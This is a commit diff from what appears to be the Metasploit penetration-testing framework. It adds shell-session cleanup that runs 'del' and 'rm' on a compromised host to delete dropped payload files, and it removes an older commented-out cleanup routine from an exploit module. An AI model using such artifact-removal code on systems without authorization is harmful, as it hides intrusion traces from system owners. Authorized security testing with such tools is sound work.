File tree Expand file tree Collapse file tree 2 files changed +13
-45
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 2 files changed +13
-45
lines changed Original file line number Diff line number Diff line change @@ -25,11 +25,19 @@ def on_new_session(session)
25
25
false
26
26
end
27
27
else
28
- # Need to be platform-independent here. Not sure of the best way
29
- # to do that since we can't be certain that {#target} is
30
- # accurate; exploits with automatic targets frequently change
31
- # it.
32
- false
28
+ win_file = file . gsub ( "/" , "\\ \\ " )
29
+ win_cmd = %Q|del.exe /f /q "#{ win_file } "|
30
+ unix_cmd = %Q|rm -f "#{ file } " >/dev/null|
31
+
32
+ # We need to be platform-independent here. Since we can't be
33
+ # certain that {#target} is accurate because exploits with
34
+ # automatic targets frequently change it, we just go ahead and
35
+ # run both a windows and a unixy command in the same line. One
36
+ # of them will definitely fail and the other will probably
37
+ # succeed. Doing it this way saves us an extra round-trip.
38
+ session . shell_command_token ( %Q|#{ win_cmd } ; #{ unix_cmd } | )
39
+ print_good ( "Deleted #{ file } " )
40
+ true
33
41
end
34
42
end
35
43
Original file line number Diff line number Diff line change @@ -97,46 +97,6 @@ def pick_target
97
97
return nil
98
98
end
99
99
100
-
101
- =begin
102
- Now covered by FileDropper mixin. Keep it here, commented out, for now
103
- since FileDropper doesn't cover shell sessions yet.
104
-
105
- #
106
- # We're in SecurityManager/bin at this point
107
- #
108
- def on_new_session(cli)
109
- if target['Platform'] == 'linux'
110
- print_warning("Malicious executable is removed during payload execution")
111
- end
112
-
113
- if cli.type == 'meterpreter'
114
- cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
115
- end
116
-
117
- @clean_ups.each { |f|
118
- base = File.basename(f)
119
- f = "../webapps/SecurityManager/#{base}"
120
- print_warning("#{rhost}:#{rport} - Deleting: \"#{base}\"")
121
-
122
- begin
123
- if cli.type == 'meterpreter'
124
- cli.fs.file.rm(f)
125
- else
126
- del_cmd = (@my_target['Platform'] == 'linux') ? 'rm' : 'del'
127
- f = f.gsub(/\//, '\\') if @my_target['Platform'] == 'win'
128
- cli.shell_command_token("#{del_cmd} \"#{f}\"")
129
- end
130
-
131
- print_good("#{rhost}:#{rport} - \"#{base}\" deleted")
132
- rescue ::Exception => e
133
- print_error("Unable to delete: #{e.message}")
134
- end
135
- }
136
- end
137
- =end
138
-
139
-
140
100
#
141
101
# Embeds our executable in JSP
142
102
#
You can’t perform that action at this time.
0 commit comments